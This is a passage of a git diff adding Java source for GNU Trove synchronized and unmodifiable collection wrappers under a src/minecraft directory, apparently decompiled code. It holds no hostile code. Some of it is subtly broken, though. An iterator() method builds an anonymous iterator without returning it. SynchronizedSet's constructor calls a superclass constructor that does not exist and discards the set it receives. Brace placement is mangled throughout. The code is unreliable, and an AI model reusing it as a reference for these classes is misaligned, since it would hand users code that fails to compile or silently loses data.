+    implements gnu.trove.map.TObjectFloatMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectFloatMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectFloatMap(gnu.trove.map.TObjectFloatMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectFloatMap(gnu.trove.map.TObjectFloatMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(K key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectFloatMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectFloatIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(K key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectFloatProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectFloatProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(K key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectIntMap<K>
+    implements gnu.trove.map.TObjectIntMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectIntMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectIntMap(gnu.trove.map.TObjectIntMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectIntMap(gnu.trove.map.TObjectIntMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(K key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectIntMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TIntCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectIntIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(K key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectIntProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectIntProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(K key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectLongMap<K>
+    implements gnu.trove.map.TObjectLongMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectLongMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectLongMap(gnu.trove.map.TObjectLongMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectLongMap(gnu.trove.map.TObjectLongMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(K key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectLongMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TLongCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectLongIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(K key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectLongProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectLongProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(K key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectByteMap<K>
+    implements gnu.trove.map.TObjectByteMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectByteMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectByteMap(gnu.trove.map.TObjectByteMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectByteMap(gnu.trove.map.TObjectByteMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(K key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectByteMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TByteCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectByteIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(K key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectByteProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectByteProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(K key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectShortMap<K>
+    implements gnu.trove.map.TObjectShortMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectShortMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectShortMap(gnu.trove.map.TObjectShortMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectShortMap(gnu.trove.map.TObjectShortMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(K key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectShortMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TShortCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectShortIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(K key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectShortProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectShortProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(K key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectCharMap<K>
+    implements gnu.trove.map.TObjectCharMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectCharMap<K> m;
+    final Object mutex;
+    
+    public TSynchronizedObjectCharMap(gnu.trove.map.TObjectCharMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectCharMap(gnu.trove.map.TObjectCharMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(K key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectCharMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TCharCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectCharIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(K key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectCharProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectCharProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(K key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+  private static class SynchronizedCollection<E>
+    implements Collection<E>, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    final Collection<E> c;
+    final Object mutex;
+    
+    SynchronizedCollection(Collection<E> c, Object mutex)
+    {
+      this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(Object o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public Object[] toArray() { synchronized (mutex) { return c.toArray();
+      }
+    }
+    
+    public <T> T[] toArray(T[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public java.util.Iterator<E> iterator() { return c.iterator(); }
+    
+    public boolean add(E e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(Object o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean addAll(Collection<? extends E> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+  private static class SynchronizedSet<E> extends TSynchronizedCollections.SynchronizedCollection<E>
+    implements java.util.Set<E> {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+    SynchronizedSet(java.util.Set<E> s, Object mutex) { super(mutex); }
+    public boolean equals(Object o) { synchronized (mutex) { return c.equals(o); } }
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/TUnmodifiableCollections.java b/src/minecraft/gnu/trove/impl/TUnmodifiableCollections.java
new file mode 100644
index 0000000..eed56f4
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/TUnmodifiableCollections.java
@@ -0,0 +1,6954 @@
+package gnu.trove.impl;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TCharCollection;
+import gnu.trove.TCollections;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.list.TByteList;
+import gnu.trove.list.TCharList;
+import gnu.trove.list.TDoubleList;
+import gnu.trove.list.TFloatList;
+import gnu.trove.list.TIntList;
+import gnu.trove.list.TLongList;
+import gnu.trove.list.TShortList;
+import gnu.trove.map.TByteCharMap;
+import gnu.trove.map.TByteDoubleMap;
+import gnu.trove.map.TByteLongMap;
+import gnu.trove.map.TByteShortMap;
+import gnu.trove.map.TCharDoubleMap;
+import gnu.trove.map.TCharFloatMap;
+import gnu.trove.map.TCharLongMap;
+import gnu.trove.map.TCharShortMap;
+import gnu.trove.map.TDoubleByteMap;
+import gnu.trove.map.TDoubleDoubleMap;
+import gnu.trove.map.TDoubleFloatMap;
+import gnu.trove.map.TDoubleIntMap;
+import gnu.trove.map.TFloatDoubleMap;
+import gnu.trove.map.TFloatIntMap;
+import gnu.trove.map.TFloatLongMap;
+import gnu.trove.map.TFloatShortMap;
+import gnu.trove.map.TIntByteMap;
+import gnu.trove.map.TIntDoubleMap;
+import gnu.trove.map.TIntFloatMap;
+import gnu.trove.map.TIntIntMap;
+import gnu.trove.map.TIntShortMap;
+import gnu.trove.map.TLongCharMap;
+import gnu.trove.map.TLongDoubleMap;
+import gnu.trove.map.TLongLongMap;
+import gnu.trove.map.TLongShortMap;
+import gnu.trove.map.TShortCharMap;
+import gnu.trove.map.TShortDoubleMap;
+import gnu.trove.map.TShortFloatMap;
+import gnu.trove.map.TShortLongMap;
+import gnu.trove.map.TShortShortMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Map;
+
+public class TUnmodifiableCollections
+{
+  private TUnmodifiableCollections() {}
+  
+  public static class TUnmodifiableDoubleCollection implements TDoubleCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    final TDoubleCollection c;
+    
+    public TUnmodifiableDoubleCollection(TDoubleCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(double o) { return c.contains(o); }
+    public double[] toArray() { return c.toArray(); }
+    public double[] toArray(double[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public double getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TDoubleProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TDoubleIterator iterator() {
+      new gnu.trove.iterator.TDoubleIterator() {
+        gnu.trove.iterator.TDoubleIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public double next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(double e) { throw new UnsupportedOperationException(); }
+    public boolean remove(double o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TDoubleCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(double[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TDoubleCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Double> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(double[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TDoubleCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(double[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TDoubleCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(double[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
